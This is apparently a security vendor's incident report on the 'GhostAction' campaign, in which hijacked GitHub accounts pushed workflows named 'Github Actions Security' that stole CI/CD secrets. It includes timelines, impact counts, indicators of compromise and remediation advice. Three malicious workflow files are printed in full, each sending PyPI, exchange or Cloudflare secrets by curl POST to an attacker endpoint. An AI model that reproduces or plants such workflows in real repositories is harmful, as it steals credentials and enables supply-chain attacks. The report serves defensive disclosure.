Update 1: September 15
On September 9th, we observed a second wave in the GhostAction attack. About 500 new commits have been pushed to GitHub repositories with a similar malicious GitHub action payload. This new wave targeted only a few new users and repositories. In most cases, only previously compromised repositories have received the updated payload. In total, only 14 new repositories have been compromised.
The new exfiltration endpoint used in the payload is hxxps://carte-avantage.com, which hostname points to the same IP address. Another exfiltration domain also has been used for a short period of time: hxxps://objective-hopper.45-139-104-115.plesk.page
Although the initial attack vector remains unknown, the malicious IP address has recently been used to host phishing payloads.
Initial discovery
On September 5, 2025, GitGuardian security research was internally alerted of the potential compromise of a GitHub repository associated with the FastUUID project. Investigations found that a malicious GitHub workflow file had been injected into the project.
The compromised maintainer, GitHub user Grommash9, pushed the malicious commit on September 2, 2025. The commit, titled "Add Github Actions Security workflow," contained a single GitHub action workflow file designed to steal secrets:
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' hxxps://bold-dhawan.45-139-104-115.plesk.page
Malicious GitHub action workflow file.
This workflow extracts the PyPI token from the CI/CD environment and sends it to an attacker-controlled server. The FastUUID project's legitimate workflow uses this token for package deployment:
name: FastUUID CI/CD
on:
push:
branches: [master]
tags:
- '[0-9]+.[0-9]+.[0-9]+'
pull_request:
branches: [master]
jobs:
test:
runs-on: ${{ matrix.os }}
strategy:
[...]
build-and-publish:
needs: test
runs-on: ${{ matrix.os }}
if: github.event_name == 'push' && contains(github.ref, '.')
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
python-version: ['3.8', '3.9', '3.10', '3.11', '3.12', '3.13']
steps:
- uses: actions/checkout@v4
[...]
- name: Publish to PyPI
env:
TWINE_USERNAME: __token__
TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }}
run: twine upload target/wheels/*
Legitimate workflow file showing secret names.
The malicious workflow file was run after the threat actor’s commit was pushed, successfully exfiltrating the corresponding PyPI token.

While this token should have allowed the actor to compromise the FastUUID package on PyPI, we found no evidence of malicious package releases during the compromise window.

Our engineering team member, Charles Brossollet, created an alert issue on the GitHub project and reported the incident to PyPI on September 5. At 12:11, PyPI moved the project to read-only status. At 12:30, the compromised user reverted the malicious commit.
Given this rapid response timeline, we expect minimal security impact from the FastUUID compromise. While this package serves as a dependency in widely-used projects, including BerriAI/litellm, no malicious releases occurred.
A Broader Scope Than Expected
The attacker's inaction during the three days following the initial compromise suggested FastUUID was not the primary target. Our investigation revealed a much larger operation.
We discovered that the compromised user pushed identical malicious commits to at least 5 other public repositories and an estimated 10 private repositories on the same date.

Each commit deployed similar workflows with modified secret lists targeting the same exfiltration endpoint:
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}&WHITE_BIT_API_KEY=${{ secrets.WHITE_BIT_API_KEY }}&WHITE_BIT_SECRET_KEY=${{ secrets.WHITE_BIT_SECRET_KEY }}' hxxps://bold-dhawan.45-139-104-115.plesk.page
Another malicious workflow targeting different secret types.
Those additional compromised repositories pointed to a potentially more important malicious campaign.
Using our GitHub commit historical dataset, we identified hundreds of similar malicious commits across multiple repositories. Our analysis revealed that 327 users fell victim to this campaign. From this initial investigation, we found no intersection between those users and the recent S1ngularity attack campaign's victims. Those two incidents are likely unrelated.
The attack pattern remained consistent across all projects. The attacker first enumerated secrets from legitimate workflow files, then hardcoded these secret names into malicious workflows:
name: Github Actions Security
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on: ubuntu-latest
steps:
- name: Prepare Cache Busting
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
- name: Github Actions Security
run: |
curl -s -X POST -d 'CF_ACCOUNT_ID=${{ secrets.CF_ACCOUNT_ID }}&CF_API_TOKEN=${{ secrets.CF_API_TOKEN }}&CLOUDFLARE_ACCOUNT_ID=${{ secrets.CLOUDFLARE_ACCOUNT_ID }}&CLOUDFLARE_API_TOKEN=${{ secrets.CLOUDFLARE_API_TOKEN }}' hxxps://bold-dhawan.45-139-104-115.plesk.page
We identified 3,325 leaked secrets across the campaign, with DockerHub credentials, GitHub tokens, and NPM tokens representing the most common types. The compromised NPM tokens create ongoing supply chain risks.

The exfiltration endpoint has consistently been set to hxxps://bold-dhawan.45-139-104-115.plesk.page across the campaign. As of Sep 5, 2025 12:39 PM this host name resolved to 45.139.104.115, an IP address hosted at 493networking.cc. This hostname stopped resolving from September 5, 4:15 PM.
Disclosure
Following our impact assessment, we began alerting affected users and projects by creating issues in every compromised repository. Among 817 affected repositories, 100 had already reverted the malicious changes. We successfully created issues for 573 of the remaining 717 projects—the others were either deleted or had disabled issues.
This disclosure prompted rapid remediation efforts. Initial discussions with affected developers confirmed that attackers were actively exploiting the stolen secrets, including AWS access keys and database credentials.
Further triage was conducted using GitHub issue activity as a proxy for project popularity, with repositories having more issues indicating higher usage and potential impact. This analysis revealed compromised tokens across multiple package ecosystems, including Rust crates and npm packages. Several companies were found to have their entire SDK portfolio compromised, with malicious workflows affecting their Python, Rust, JavaScript, and Go repositories simultaneously.
On Sep 5, 2025, at 3:50pm, we notified GitHub, NPM and PyPI security teams of the campaign, and we are maintaining ongoing surveillance of those and other package registries to verify that no compromised tokens were used to publish malicious artifacts. From our initial investigations, so far, 9 NPM and 15 PyPI packages are at risk of compromise in the next hours or days.
Indicators of Compromise (IOCs)
Network Indicators
- Malicious Endpoints: hxxps://bold-dhawan.45-139-104-115.plesk.page, hxxps://carte-avantage.com, hxxps://objective-hopper.45-139-104-115.plesk.page
- IP Address: 45.139.104.115
- HTTP Method: POST requests with secret data
GitHub Workflow Indicators
- Malicious Workflow Name: Github Actions Security
- File Path: .github/workflows/github_actions_security.yml
- Commit Messages: "Add Github Actions Security workflow"

FAQ
What is the GhostAction campaign?
The GhostAction campaign is a large-scale supply chain attack discovered by GitGuardian on September 5, 2025. Attackers compromised 327 GitHub user accounts to inject malicious workflows that stole 3,325 secrets from CI/CD environments across 817 repositories. The attack targeted credentials like PyPI tokens, npm tokens, DockerHub credentials, GitHub tokens, and AWS access keys.
How did the GhostAction attack work?
Attackers first gained access to GitHub user accounts, then analyzed legitimate workflow files to identify which secrets were available. They injected malicious workflows disguised as "Github Actions Security" that extracted secrets from the CI/CD environment and sent them via HTTP POST requests to an attacker-controlled endpoint at bold-dhawan.45-139-104-115.plesk.page.
What types of secrets were stolen in the GhostAction campaign?
The campaign targeted a wide variety of credentials including PyPI API tokens, npm tokens, DockerHub credentials, GitHub personal access tokens, AWS access keys, database credentials, Cloudflare API tokens, and other CI/CD secrets. DockerHub credentials, GitHub tokens, and npm tokens were the most commonly targeted types across the compromised repositories.
Were any malicious packages published using the stolen credentials?
As of the disclosure date, no malicious packages have been published using the compromised tokens. However, GitGuardian identified 24 packages (9 npm and 15 PyPI) that remain at immediate risk of compromise. The security teams at GitHub, npm, and PyPI have been notified and are monitoring for malicious activity.
How can developers protect against similar GitHub workflow attacks?
Developers should regularly audit their repository access permissions, monitor for unexpected commits or workflow changes, use environment-specific secrets with minimal permissions, enable GitHub's security alerts, and implement additional secret scanning tools. Organizations should also review who has write access to their repositories and consider using branch protection rules that require reviews for workflow changes.
What should I do if my repository was affected by GhostAction?
If your repository was compromised, immediately revoke and rotate all secrets that may have been exposed, review your repository's commit history for malicious changes, remove any unauthorized workflow files, audit repository access permissions, and monitor your published packages for any unauthorized releases. GitGuardian created issues in affected repositories to alert maintainers.
